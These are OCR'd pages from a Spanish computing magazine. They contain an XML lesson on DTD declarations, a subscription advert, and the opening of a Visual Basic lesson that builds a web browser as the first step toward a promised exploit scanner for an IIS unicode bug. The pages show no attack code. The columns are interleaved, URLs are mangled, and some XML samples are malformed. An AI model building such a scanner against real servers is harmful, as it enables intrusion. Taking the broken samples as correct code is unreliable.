                                                               ú l t i m a v e r s i ó n d e u n DT D g u a r d a d o e n u n
          Por lo tanto, los documentos xml pueden              s e r v i d o r p ú b l i c o. Pa ra e l l o l o s DT D p ú b l i c o s
          referenciar tanto a las URL como a las URN.          pueden tener un ID (identificador público) que




PC PASO A PASO Nº 11                                                                                                        Página 63
VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD




             los analizadores (parsers, programas que validan     organitzation for standarization) no lo haya
             los xml) utilizan para localizar los DTD y validar   reconocido todavía.
             los documentos.
                                                                  -        W3C Nos dice que el propietario del
             Veámoslo todo ello con un nuevo ejemplo (que         DTD es el World Wide Web Consortium (W3C),
             te vemos un poco perdido):                           lo que significa que son esta gente los que
                                                                  escribieron en su día el DTD y actualmente lo
             El siguiente DTD, referencia la especificación
                                                                  mantienen.
             de la versión 2.0 DTD para XML 1.0:

                                                                  -       DTD Specification V2.0 Nos da una
  <!DOCTYPE spec PUBLIC “-//W3C//DTD Specification V2.0//EN”
                                                                  descripción de lo que es el DTD, o sea la
         “http://www.w3.org/XML/1998/06/xmlspec-v20.dtd”>
                                                                  especificación V2.0 (versión 2.0) del DTD.


             La primera vez que vi algo parecido me sonó          -       EN Una abreviación de dos letras que
             a chino, luego pensé que era algo parecido a         nos indica el lenguaje de los documentos XML
             una marca de fábrica y no le di mayor                a los cuales se aplica este DTD. En este caso
             importancia.     ¡Cuan equivocado estaba!            el lenguaje es Inglés de los U.S.A. podéis
                                                                  encontrar una lista completa de estas
             Examinando la declaración anterior, podemos          abreviaciones en la ISO 639-1 que podéis
             aprender muchas cosas acerca de cómo las             encontrar en la siguiente URL: http://www.geo-
             declaraciones son definidas y utilizadas.
                                                                  guide.de/info/tools/languagecode.html

             Esta declaración dice que el elemento raíz es
                                                                  A diferencia de las URN, la siguiente sección
             spec (esto ya deberíais entenderlo!!) y después
                                                                  de la declaración DOCTYPE pública se refiere
             especifica información del propietario del DTD
             y su localización:                                   a una URL


             La información del propietario nos la da en una      “http://www.w3.org/XML/1998/06/xmlspec-v20.dtd”

              URN (ahora veréis claro lo que es una URN y
             porque he esperado hasta aquí para explicarlo!):     En esta dirección Internet, lo importante es
                                                                  darnos cuenta de que el nombre del dtd es :
             -//W3C// DTD Specification V2.0//EN                  xmlspec-v20.dtd
             (esto es una URN)

             -       las contrabarras dobles // separa
             categorías de información relativa al DTD y a        2.2.1 EJEMPLO: UN DOCUMENTO XML
             su propietario                                       CON UN DTD PÚBLICO EXTERNO

             -       El signo – (menos) Nos indica que            Vamos a suponer que estoy trabajando es una
             el DTD es un standard no reconocido, no oficial.     especificación estándar de un DTD que se
             Un signo + nos informaría de un DTD                  llamará RO y que tengo un dominio
             reconocido. ¿Y como puede ser que un standard
                                                                  http://www.rocaverges.es y en ese dominio
             público no sea reconocido? Puede darse el
                                                                  tengo una DTD llamada ordenCompra.dtd
             caso muy común de que las ISO (international


Página 64                                                                                                PC PASO A PASO Nº 11
VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD


   <!DOCTYPE spec PUBLIC “-//ROCA//Especificacion RO V1.0//ES”
           “http://www.rocaverges.es/ordenCompra.dtd“>
                                                                 <!DOCTYPE ORDEN_DE_COMPRA SYSTEM
   <ORDEN_DE_COMPRA>                                                  “http://www.rocaverges.es/ordenCompra.dtd”>
      <CLIENTE>
         <NUMERO_DE_CUENTA>12345678</NUMERO_DE_CUENTA>
         <NOMBRE_COMPLETO>
                <NOMBRE>Sam</NOMBRE>                             2.3.1 EJEMPLO: UN DOCUMENTO XML CON UN
                <APELLIDO1>Bass</APELLIDO1>                      DTD EXTERNO NO PÚBLICO
                <APELLIDO2></APELLIDO2>
                </NOMBRE_COMPLETO>
      </CLIENTE>                                                 <?xml versión “1.0” standalone=”no”?>
   </ORDEN_DE_COMPRA>
                                                                 <!DOCTYPE ORDEN_DE_COMPRA SYSTEM
       Fijaros en que he cambiado los siguientes                         “http://www.rocaverges.es/ordenCompra.dtd”>
       elementos de la URN:
                                                                 <ORDEN_DE_COMPRA>
       ·        nombre del propietario (ROCA)                       <CLIENTE>
                                                                      <NUMERO_DE_CUENTA>12345678</NUMERO_DE_CUENTA>
       ·        descripción (Especificacion RO V1.0)
                                                                      <NOMBRE_COMPLETO>
       ·        idioma (ES).                                              <NOMBRE>Sam</NOMBRE>
                                                                          <APELLIDO1>Bass</APELLIDO1>
       Supuestamente en http://www.rocaverges.es                          <APELLIDO2></APELLIDO2>
       /ordenCompra.dtd se hallaría el dtd que antes                   </NOMBRE_COMPLETO>
       incluíamos dentro del xml, ahora simplemente                 </CLIENTE>
                                                                 </ORDEN_DE_COMPRA>
       lo que hacemos es referenciarlo.

       2.3 DTDs EXTERNOS NO PÚBLICOS
                                                                 2.4 RESOLVER ERRORES DE DTD EXTERNOS

       Supongamos que tenemos un dtd en
                                                                 Un analizador XML (un parser xml) debe ser capaz de
       http://www.rocaverges.es/ordenCompra.dtd
       pero está vez no estoy trabajando en un                   localizar los DTD externos utilizando la URI (la URL ,
       proyecto de ámbito mundial, sino que estoy                recordad que una URL forma parte del conjunto URI)
       desarrollando una aplicación que me han pedido            que le habéis indicado en el documento. En caso de
       unos clientes. Entonces solo quiero que mi dtd            que no lo encuentre, el error usual que vais a ver es
       sea accesible por mis clientes y por la gente             el mensaje de que el sistema no ha podido localizar el
       relacionada en el proyecto (analistas,
                                                                 recurso especificado o ha habido un error procesando
       programadores, consultores...etc.). Por lo tanto
                                                                 el DTD.
       , si referencio mis documentos xml con un DTD
       externo, en la declaración DOCTYPE,
       especificaré que se trata de un DTD no público.           Si esto ocurre, comprobad la exactitud y la sintaxis de
                                                                 la URL que habéis escrito dentro del documento xml.
       Esta especificación que nos dice que ese DTD
       no es público, se hace escribiendo la palabra             Una URL puede indicarse de manera relativa y absoluta
       SYSTEM en lugar de PUBLIC, y eliminando la
                                                                 , esto es:
       referencia a la URN

       Los DTD accesibles de modo no público se                  Supongamos que estáis en www.hackxcrack.com. En
       definen (o especifican) utilizando la palabra             el caso de que queráis ir a la página de entrada, que
       clave SYSTEM en la declaración DOCTYPE.                   está en http://www.hackxcrack.com/entrada/entrada.htm
                                                                 lo podríais escribir en el xml de dos maneras:
       Veámoslo todo ello con un nuevo ejemplo:

PC PASO A PASO Nº 11                                                                                                   Página 65
VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD




            1.        Con una dirección absoluta,                   Pero si nos halláramos en otro directorio, por
            especificando el dominio (www.hackxcrack.com)           ejemplo el directorio pruebas ( ojo que no existe
            + la lista de directorios que cuelgan del dominio       e n re a l i d a d ) , s i n o s h a l l á ra m o s e n
            ( en este caso solo tenemos un directorio que           http://www.hackxcrack.com/pruebas/ le
            se llama entrada) + finalmente el archivo               estaríamos dando la dirección
            (entrada.htm), quedando la dirección absoluta
            de la siguiente manera:
                                                                    http://www.hackxcrack.com/pruebas/entrada/entrada.htm

            http://www.hackxcrack.com/entrada/entrada.htm
                                                                    y recordemos que /entrada/entrada.htm cuelga
                                                                    del directorio raíz , por lo tanto tendríamos un
                                                                    e r r o r,       ya     que         esa         dirección
            2.       La segunda posibilidad es especificar
                                                                    ( h t t p : / / w w w. h a c k x c ra c k . c o m / p r u e b a s
            una dirección relativa, esto es, partiendo de
                                                                    /entrada/entrada.htm) no noslleva a ninguna
            la base que ya estamos dentro del dominio
                                                                    parte, porque no existe.
            (www.hackxcrack.com) solo escribimos el listado
            de archivos ( en este caso solo tenemos un
                                                                    Podemos por tanto referenciar nuestro dtd de
            directorio que se llama entrada ) y finalmente
                                                                    manera absoluta:
            el archivo deseado ( entrada.htm), quedando
            la dirección relativa de la siguiente
                                                                    <!DOCTYPE ORDEN_DE_COMPRA SYSTEM
             manera:
                                                                           “http://www.rocaverges.es/ordenCompra.dtd”>

            /entrada/entrada.htm
                                                                    Como referenciarlo de manera relativa al
                                                                    directorio raíz
             Y esta dirección seria relativa al directorio raíz
            (dominio). Esto es le estoy dando la dirección:         <!DOCTYPE ORDEN_DE_COMPRA SYSTEM
                                                                            “/ordenCompra.dtd”>
            http://www.hackxcrack.com/entrada/entrada.htm
                                                                    Como referenciarlo de manera relativa al
            Hay otro tipo de dirección relativa, y es escribir      directorio actual
             sin la contrabarra ( / ) inicial, esto es diciéndole
            que la dirección es relativa al directorio              <!DOCTYPE ORDEN_DE_COMPRA SYSTEM
            en que nos hallamos y no al directorio                          “ordenCompra.dtd”>

            raíz. Lo escribiríamos de la siguiente
            forma:                                                  Volviendo a los posibles errores, uno muy típico
                                                                    es el de la confusión que genera la manera de
            entrada/entrada.htm                                     escribir las direcciones relativas al directorio
                                                                    actual o relativas al directorio raíz. Comprobad
            y si nos halláramos en el directorio raíz le            también esto.
            estaríamos dando igualmente la dirección:
                                                                    Además recordad que si se especifica
            http://www.hackxcrack.com/entrada/entrada.htm           solamente el nombre del DTD
                                                                    (ordenCompra.dtd), se suele esperar que el
            ya que en este caso el directorio actual                DTD esté en el mismo directorio que el xml
            coincidecon el directorio raíz.                         asociado.




Página 66                                                                                                            PC PASO A PASO Nº 11
VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD




           3.- COMBINANDO DTD EXTERNOS                        Supongamos que para el nuevo documento xml
           E INTERNOS                                         que nos han encargado, y solo en este caso,
                                                              debemos saber también el número del teléfono
           Un documento xml pueden tener DTS internos         del cliente.
           y externos. Para hacer esto, añadiremos las
           declaraciones del DTD interno después de           Pues lo que haremos será referenciar el DTD
           especificar la localización del DTD externo.       externo y redefiniremos el elemento
           Como antes hemos dicho, las declaraciones          NOMBRE_COMPLETO, añadiéndole TELEFONO,
           internas empiezan con el signo ( [ ) y terminan    cuando el analizador (parser) vea las dos
           con el signo ( ] ) seguido del signo mayor que     declaraciones, cogerá la primera es decir, la
           (>)                                                redefinida, ya que el DTD interno es el que ha
                                                              leído primero.
           Si decidimos crear documentos con DTDs
           internos y externos a la vez deberemos tener       Lo vemos con un ejemplo:
           en cuenta:
                                                              <?xml version=“1.0” standalone=”no”?>
           1.       Que los dos DTD sean compatibles,
           no podemos dar unas reglas en un DTD, que          <!DOCTYPE ORDEN_DE_COMPRA SYSTEM
                                                                        “http://www.rocaverges.es/ordenCompra.dtd” [
           luego el otro DTD se salte a la torera. Deben
           también ser complementarios.                       <!ELEMENT NOMBRE_COMPLETO (NOMBRE,APELLIDO1,APELLIDO2,TELEFONO)>
           2.       Ninguno de los dos DTD puede anular       <!ELEMENT TELEFONO (#PCDATA)>
           las declaraciones de elementos o atributos del     ]>

           otro DTD. Esto también significa que los DTD
                                                              <ORDEN_DE_COMPRA>
           no pueden contener el mismo tipo de                        <CLIENTE>
           declaraciones de elementos o atributos.                          <NUMERO_DE_CUENTA>12345678</NUMERO_DE_CUENTA>

           3.       Sin embargo lo que si puede hacerse                     <NOMBRE_COMPLETO>
                                                                                   <NOMBRE>Sam</NOMBRE>
           es redefinir una declaración del DTD externo                            <APELLIDO1>Bass</APELLIDO1>
           en el DTD interno. Si hay conflictos entre los                          <APELLIDO2></APELLIDO2>
           dos DTD la primera declaración es la que vale                           <TELEFONO 935689745</TELEFONO>
                                                                            </NOMBRE_COMPLETO>
           y ya que las declaraciones internas son las que
                                                                      </CLIENTE>
           se leen primero, son las que tienen preferencia.   </ORDEN_DE_COMPRA>




           3.1 EJEMPLO: UN DOCUMENTO XML CON                  FINALIZANDO...
           UN DTD EXTERNO Y UNO INTERNO
                                                              Y esto es solo el principio, en la próxima entrega
           Recordamos ordenCompra.dtd                         ampliaremos las declaraciones, y os pondré
                                                              un pequeño ejemplo en java, para los que
 <!ELEMENT ORDEN_DE_COMPRA (CLIENTE)>                         quieran trabajar xml desde este lenguaje.
 <!ELEMENT CLIENTE (NUMERO_DE_CUENTA,NOMBRE_COMPLETO)>
 <!ELEMENT NUMERO_DE_CUENTA ( #PCDATA)>
 <!ELEMENT NOMBRE_COMPLETO (NOMBRE,APELLIDO1,APELLIDO2)>
                                                              Solo me queda desearos unas muy buenas
 <!ELEMENT NOMBRE (#PCDATA)>                                  vacaciones.
 <!ELEMENT APELLIDO1 (#PCDATA)>
 <!ELEMENT APELLIDO2 (#PCDATA)>                               ¡Saludos compañeros!



PC PASO A PASO Nº 11                                                                                                   Página 67
VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD


    IMPORTANTE para quien esté siguiendo el CURSO XML:                                                Fe de Erratas.
    Situación: Número 10 de PC PASO A PASO, página 52, columna de la izquierda.
    Error:

         - Donde pone
             <?xml version=”1” stanalone=”yes”?>
         - Debería poner
             <?xml version=”1.0” stanalone=”yes”?>

    Se debe poner 1.0 en lugar de 1 o no te funcionará el ejemplo de Visual Basic.
    En todo artículo siempre figura “1.0”, pero justo en el ejemplo de Visual Basic figura “1”, parece que
    los duendes visitan todas las editoriales :)




                        SUSCRIBETE A
                        PC PASO A PASO
                                                                              45 EUROS (10% DE DESCUENTO)
   SUSCRIPCIÓN POR:                                                           +
   1 AÑO                                                       =              SORTEO DE UNA CONSOLA XBOX
                                                                              +
   11 NUMEROS                                                                 SORTEO 2 JUEGOS PC (A ELEGIR)

C o n t r a R e e m b o l s o Giro Post al
Solo tienes que enviarnos un mail a preferente@hackxcrack.com              Envíanos un GIRO POSTAL por valor de 45 EUROS a:
indicando:                                                                 CALLE HIGINIO ANGLES Nº2, 4º-1ª
- Nombre                                                                   CP 43001 TARRAGONA
- Apellidos                                                                ESPAÑA
- Dirección Completa                                                       IMPORTANTE: En el TEXTO DEL GIRO escribe un mail de contacto
- Población                                                                o un número de Teléfono.
- Provincia
- Cógigo Postal                                                            Y enviarnos un mail a preferente@hackxcrack.com indicando:
- Mail de Contacto y/o Teléfono Contacto                                   - Nombre
Es imprescindible que nos facilites un mail o teléfono de contacto,        - Apellidos
puesto que 24 horas después de que recibamos tu petición de                - Dirección Completa
subscripción te daremos un número de Cliente Preferente. Este              - Población
número será utilizado para los sorteos.                                    - Provincia
- Tipo de Subscripción: CONTRAREEMBOLSO                                    - Cógigo Postal
- Número de Revista:                                                       - Mail de Contacto y/o Teléfono Contacto
Este será el número a partir del cual quieres subscribirte. Si deseas      Es imprescindible que nos facilites un mail o teléfono de contacto,
(por ejemplo) subscribirte a partir del número 5 (incluido), debes poner   puesto que 24 horas después de que recibamos tu petición de
un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos)              subscripción te daremos un número de Cliente Preferente. Este
                                                                           número será utilizado para los sorteos.
APRECIACIONES:                                                             - Tipo de Subscripción: GIRO POSTAL
* Junto con el primer número recibirás el abono de 45 euros, precio        - Número de Revista:
de la subscripción por 11 números (un año) y una carta donde se te         Este será el número a partir del cual quieres subscribirte. Si deseas
indicará tu número de Cliente Preferente y justificante/factura de la      (por ejemplo) subscribirte a partir del número 5 (incluido), debes poner
subscripción.                                                              un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos)
* Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
indicado; rellenando el formulario de nuestra WEB                          APRECIACIONES:
(www.hackxcrack.com) o enviándonos una carta a la siguiente dirección:     * Junto con el primer número recibirás una carta donde se te indicará
CALLE HIGINIO ANGLES Nº2, 4º-1ª                                            tu número de Cliente Preferente y justificante/factura de la subscripción.
CP 43001 TARRAGONA                                                         * Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
ESPAÑA                                                                     indicado; rellenando el formulario de nuestra WEB
* Cualquier consulta referente a las subscripciones puedes enviarla        (www.hackxcrack.com) o enviándonos una carta a la siguiente dirección:
por mail a preferente@hackxcrack.com                                       CALLE HIGINIO ANGLES Nº2, 4º-1ª
                                                                           CP 43001 TARRAGONA
                                                                           ESPAÑA
                                                                           * Cualquier consulta referente a las subscripciones puedes enviarla
                                                                           por mail a preferente@hackxcrack.com




 Página 68                                                                                                              PC PASO A PASO Nº 11
Curso de Visual basic (Vii):
            IIS bug exploit
        usando el WebBrowser

          - Vamos a empezar a disfrutar de los conocimientos adquiridos en Visual Basic.
          - ¿Cómo? ¿Que no has seguido nuestro curso de Visual Basic? ¿Creias que no servía para
          nada? ¿Que no esra necesario? Ya puedes ir repasando los anteriores números, Recuerda
          que te ensañamos tanto a descargarlo de Internet como a Instalarlo.


          Bienvenidos de nuevo al curso de Visual Basic.      de que sean vulnerables, guardar la URL y el
          A partir de este número intentaré dar un giro       exploit utilizado.
          completo a la temática de las prácticas.            Pero como ya he dicho, esto se explicará en
          Hasta ahora, había intentado enseñaros a            mas de una entrega, aunque intentaré comprimir
          programar en Visual Basic, los controles básicos,   al máximo, creo que hoy debemos empezar por
          el uso de los objetos, variables, sentencias        algo menos “hack” pero que necesitaremos
          condicionales, acceso a datos...                    saber manejar para acabar nuestro proyecto.

          Pero ya va siendo hora de que emprendamos           Hoy, y al menos esa es mi intención, haremos
          un proyecto desde 0 y concluyamos con algo          un explorador de Internet en toda regla. Espero
          realmente útil, si no para nosotros, seguro que     que esta minipráctica os deje con la boca abierta,
          para alguien. Y es por eso que en los siguientes    como me pasó a mi en su día, ya que con 4
          números orientaremos los contenidos hacia la        líneas de código, haremos un explorador de
          conexión con Internet y la seguridad informática.   Internet con capacidades básicas, como
          Debéis saber que lo explicado anteriormente         refrescar, parar, avanzar y retroceder. Esto
          lo daré por entendido y posiblemente no             debemos agradecérselo a un OCX que integra
          indagaré tanto en cosas como agregar una            todas estas funciones, el conocido como
          referencia/OCX o el diseño del formulario,          “WebBrowser” de la colección “Internet Controls”
          porque doy por hecho que hasta ahí sabéis           .
          arreglároslas vosotros solos, y si alguien se       Vamos por faena. Abrimos un nuevo proyecto
          “atasca” en algún punto ya sabéis que podéis        de Visual Basic y elegimos “EXE Estándar”.
          plantearme preguntas en los foros de                Inmediatamente después vamos a Proyecto->
          hackxcrack.                                         Componentes y agregamos “Microsoft Internet
                                                              Control”
          Bien, durante las siguientes entregas, vamos
          a intentar crear un exploit para el bug             Vease la figura 1.
          unicode/decode del IIS. Pero no solo eso, sino
          que nuestro exploit será dinámico y podrá           Deberíamos ver como se nos agrega
          integrar otros bugs, cuidadosamente guardados       inmediatamente un nuevo objeto a la barra de
          en una base de datos o en un fichero plano          controles que tenemos a la izquierda, con el
          (aun por decidir).                                  icono de un globo terráqueo.
          También tendrá la capacidad de almacenar las
          páginas que han sido probadas y, en el caso         Este objeto será el encargado de visualizar y

PC PASO A PASO Nº 11                                                                                               Página 69
Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit




                                                             Ok, este OCX nos añadirá varios controles
                                                             comunes en Windows, como el “ListView” y el
                                                             “TreeView”. Pero ninguno de estos dos nos
                                                             interesan, nosotros vamos a por la “ToolBar”.
                                                             Agreguemos este objeto con doble clic, ya que
                                                             tiene una posición por defecto y no se debe
                                                             mover (creo que tampoco es posible hacerlo).
                                                             Finalmente, nuestro formulario debería tener
                                                             este aspecto.




                       Figura 1
            devolvernos valores interesantes de una web
            cualquiera.

            Agreguemos entonces este objeto al formulario,
            de manera que ocupe casi toda la pantalla
            (pero no toda, ya que debemos poner los
            botones necesarios que nos ayudaran a            La “ToolBar” es un objeto diseñado para agregar
            movernos por las webs, como en el IExplorer.     botones del tipo IExplorer, Word o cualquier
                                                             producto Microsoft. Para darle aspecto iremos
            Volvamos ahora a componentes y agreguemos        al cuadro de propiedades de nuestra “ToolBar”
            el OCX “Microsoft Windows Common Controls        (recordemos ponerle un nombre) y damos a
            6.0”                                             “Personalizado”. Nos debería aparecer la página
                                                             de propiedades del objeto, donde podremos
                                                             elegir su aspecto, los botones y el diseño general
                                                             de esta.

                                                             Vamos a la pestaña botones y pulsamos
                                                             “Insertar”. Lo que estamos haciendo no es otra
                                                             cosa que añadiendo un botón a la barra y
                                                             dándole un aspecto y una configuración al
                                                             mismo. Sobre todo es recomendable rellenar
                                                             los campos Key, que nos indicará la clave del
                                                             botón y el Caption, o en su defecto, agregar
                                                             un icono que simbolice su función.

                                                             Supongo que veréis mas atractivo el tema de
                                                             poner una imagen en vez de un literal
                                                             descriptivo, por lo que os recomiendo que

Página 70                                                                                          PC PASO A PASO Nº 11
Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit




            busquéis iconos para avanzar, retroceder          Volvamos ahora a la “ToolBar” y pongamos los
            (flechas), parar (aspa o stop) y refrescar (a     iconos correspondientes a los botones que
            vuestra elección).                                anteriormente hemos creado. Para ello debemos
                                                              indicarle, en la pestaña general de la “ToolBar”,
            ¿Los habéis encontrado?, ¿si?, Bien!!, pues       que se va a utilizar la “ImageList”. Esto lo
            entonces vamos por faena. Insertemos 4            haremos en el “Combo Box” “ImageList” de la
            botones en la “ToolBar” con diferentes Keys,      mencionada pestaña.
            por ejemplo Retroceder, Avanzar, Para, y
            Refrescar. Una vez añadidos, cerramos la página   Una vez indicada, picamos en la pestaña
            de propiedades y agregamos un nuevo objeto        “Botones” e indicamos el número de imagen
            al formulario, el “ImageList”                     que corresponde al botón, siendo este el
                                                              correspondiente al orden en que se ha añadido
                                                              al “ImageList”.
  !            Los ImageList...

  Los ImageList son objetos que contienen imágenes para
  que estas puedan ser utilizadas por los demás objetos del
  formulario, como son las ToolBar, ListViews o TreeViews.




            El “ListView” es un objeto que, por defecto, es
            invisible, y tiene capacidad de contener
            imágenes. Para agregarlas hay que ir al cuadro
            de propiedades del objeta y picar en
            “Personalizado”. Vamos a la pestaña “Imágenes”
            y agregamos uno a uno los iconos que hemos
            buscado, que pueden tener cualquier formato
            de imagen (.ico, .gif, .jpg...)

            El aspecto que debería tener el “ImageList
            después de agregar las imágenes es este:          Si ejecutamos el proyecto veremos que el
                                                              aspecto no está nada mal. Ahora deberíais jugar
                                                              con las propiedades de la “ToolBar”, y así
                                                              cambiar el diseño de la misma, para personalizar
                                                              vuestro explorador. Empecemos entonces con
                                                              el código.

                                                              Nos declararemos, para empezar, una variable
                                                               que contendrá la URL inicial de nuestro
                                                              explorador. Podríamos llamarla URLInicial, y
                                                              será de tipo String. También, y adelantándonos
                                                              un poco, otra variable de tipo Booleana (True
                                                              y False) que nos indicará si hemos parado o no
                                                              el mostrado de la página.


PC PASO A PASO Nº 11                                                                                              Página 71
Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit




            Option Explicit
            Dim URLInicial As String                          Esto tiene fácil solución. Cada vez que un
            Dim Cargando as Boolean                           formulario se redimensiona se activa el evento
                                                              “Resize” del mismo, pudiendo así obtener las
            Vamos al “Form_Load” y cargamos en la variable    coordenadas del Form y de cualquier objeto en
            una dirección URL, en mi caso, y para ser         ese preciso instante.
            original, pondré http://www.hackxcrack.com

                                                                  !            Al ejecutar...
            Private Sub Form_Load()
              URLInicial = "http://www.hackxcrack.com"
                                                                  Al ejecutar el proyecto por primera vez también se ejecuta
            End Sub
                                                                  el evento Resize del form

            Con esto tendremos la dirección inicial de
            nuestro explorador en una variable, pero...,
            ¿cómo cambiamos?. Muy sencillo, al igual que
                                                              Por lo tanto nos viene perfecto para
            Opera, IExplorer, NetScape o cualquier otro
                                                              redimensionar los controles del formulario.
            explorador, podemos tener un “ComboBox”
                                                              Vamos al evento Resize y escribimos el siguiente
            que almacene y nos permita escribir direcciones
                                                              código
            de Internet.

                                                              Private Sub Form_Resize()
            Agregamos el combo justo debajo de la
                                                              Dim Ancho As Long
                                                              Dim Alto As Long
                                                                Alto = Me.Height - 2500
                                                                Ancho = Me.Width - 500
                                                                WB.Width = Ancho
                                                                WB.Height = Alto
                                                                CxDireccion.Width = Ancho
                                                              End Sub

                                                              Esto lo único que indica es el ancho (Width) de
                                                              los controles “ComboBox” y “WebBrowser”, y
                                                              también el alto del “WebBrowser” (Height).

                                                              Ejecutamos el proyecto y vemos que, aunque
            botonera, siendo este el aspecto definitivo del
                                                              aparece maximizado, al redimensionarlo, los
            formulario.
                                                              objetos toman el tamaño adecuado.
            Una cosa que siempre queda muy bien, es que
            la ventana quede maximizada al ejecutar el
            proyecto. Para hacer esto, tan solo tenemos
            que indicar en las propiedades del formulario
                                                                  !            Yo he decidido...
            que el “WindowsState” sea “Maximized”.
                                                                  Yo he decidido restar 500 twips (medida de Visual Basic)
            Pero alguna pega tenia que tener esto, porque         y 2500 twips para el ancho y el alto, pero podéis poner lo
            si ejecutamos el proyecto, podemos comprobar          que os parezca conveniente.
            que, aunque la ventana aparece maximizada,

Página 72
Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit




          Volvemos al “Form_Load” y comenzamos a             Private Sub TBBotones_ButtonClick(ByVal Button As MSComctlLib.Button)

          cargar el explorador con la web inicial. Para
          hacer esto deberíamos añadir el valor de           End Sub
          URLInicial al “ComboBox”, e indicarle al
          “Browser” que esta es la dirección que debe        Esta variable contiene, como su propio nombre
          abrir. Estas son las líneas que ejecutarán lo      indica, el valor del botón pulsado, en nuestro
          que acabo de explicar:                             caso, la Key que anteriormente le hemos dado
                                                             al botón de la “ToolBar”. Para comprobar esto
          Private Sub Form_Load()                            vamos a incluir la línea MsgBox Button.Key en
            URLInicial = "http://www.hackxcrack.com"         el evento, ejecutamos, y al pulsar sobre alguno
            If Len(URLInicial) > 0 Then                      de los botones, nos debería aparecer el nombre
               CxDireccion.Text = URLInicial                 de la Key del mismo, como podemos ver en la
               CxDireccion.AddItem URLInicial                imagen, en la cual hemos picado en el primero
               WB.Navigate URLInicial                        botón:
            End If
          End Sub

          Aquí le estamos diciendo que si el número de
          caracteres de la cadena que contiene la variable
          URLInicial es mayor que 0, (esto no es mas
          que una comprobación) ponga esta dirección
          en el “ComboBox” (CxDireccion.Text =
          URLInicial) lo añada en la lista (
          CxDireccion.AddItem URLInicial ) y la abra en
          el explorador ( WB.Navigate URLInicial ).

          Ahora ejecutemos con F5, y quedémonos
          perplejos ante la sencillez de Visual Basic para
          crear un Explorador.

          ¿Qué, no está mal, verdad? Pues pasemos a          Una vez comprobado esto, creamos la sentencia
          codificar los botones que faltan para crear el     condicional que codificara este evento.
          explorador.
                                                             Ya que ahora somos buenos programadores,
          2. Moviéndonos por la web                          utilizaremos el “Select Case” en vez de varias
                                                             sentencias “If”. Escribimos Select Case
          En este apartado aprenderemos a retroceder,        Button.Key , y posteriormente comprobamos
          avanzar, detener, refrescar y abrir otras          si se ha pulsado el primer botón de la siguiente
          direcciones de Internet, obteniendo así un         manera:
          autentico “Web Explorer” marca de la casa.
          Hagamos doble clic en la “ToolBar”, lo cual nos        Select Case Button.Key
          remitirá directamente al evento “ButtonClick”            Case "Retroceder"
          de la misma. Si nos fijamos, este evento
          devuelve por parámetro una variable,               Aquí le estamos diciendo que en el caso de que
          denominada por defecto Button, que a su vez        el Button.Key pulsado sea “Retroceder” se
          es de tipo “Button”.                               ejecuten las líneas siguientes.

PC PASO A PASO Nº 11                                                                                                                 Página 73
Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit




            Este sería el código necesario para todas las                           de ser intro, llamaremos al evento Click del
            funciones que vamos a utilizar:                                         combo.

            Private Sub TBBotones_ButtonClick(ByVal Button As MSComctlLib.Button)

               Select Case Button.Key                                                   !             Al igual que...
                 Case "Retroceder"
                    WB.GoBack                                                           Al igual que con las rutinas y funciones, los eventos de los
                 Case "Avanzar"                                                         objetos también pueden ser llamados desde el código. El
                    WB.GoForward                                                        porque llamamos a este evento es porque se debe obtener
                 Case "Parar"                                                           el mismo resultado al poner una dirección URL y pulsando
                    WB.Stop                                                             intro, que al seleccionarla con el ratón.
                 Case "Refrescar"
                    WB.Refresh
               End Select
                                                                                    Vamos al evento Click del combo y colocamos
            End Sub                                                                 el siguiente código

            Me parece que la cosa queda bastante clara.                             Private Sub CxDireccion_Click()
            En el caso de que el Button.Key sea Retroceder,                         If Cargando Then
            haremos un WebBrowser.Back, si lo que                                      Exit Sub
            hemos pulsado es Avanzar, haremos un                                    End If
            W e b B r o w s e r. G o F o r w a r d , y a s í                        WB.Navigate CxDireccion.Text
            consecutivamente.
            Para dejarlo mejor, deberíamos ir al                                    Private Sub CxDireccion_KeyPress(KeyAscii As Integer)
            evento Download_Complete del WebBrowser                                   If KeyAscii = vbKeyReturn Then
            y codificarlo de la siguiente manera:                                        CxDireccion_Click
                                                                                      End If
            Private Sub WB_DownloadComplete()                                       End Sub
              Me.Caption = WB.LocationName
            End Sub                                                                 Es bastante sencillo. Si efectuamos clic
                                                                                    sobre alguna dirección, y la variable
            Así siempre tendremos la dirección real en el                           Cargando vale True, el Web Browser
            Caption del formulario.                                                 navegará hacia esta. Si por lo contrario,
                                                                                     la dirección la añadimos a mano y pulsamos
                                                                                    intro, el evento KeyPress comprobará
            Para poder navegar por las webs, vamos a
                                                                                      si la tecla pulsada es la que queremos
            ir al evento KeyPress del ComboBox, para
                                                                                    If KeyAscii = vbKeyReturn Then y en el
            que, al pulsar intro sobre él, busque la                                caso de que así sea, llamaremos al evento
            dirección indicada en su caja de texto.                                 Click del Combo Box, encargándose el
            Si nos fijamos, este evento recibe por                                  de abrir la nueva página.
            parámetro una variable de tipo integer,
            que contiene el valor en ASCII de la tecla                              Ahora, lo que nos falta, es que cada vez
            pulsada.                                                                que se cargue una página, esta sea añadida
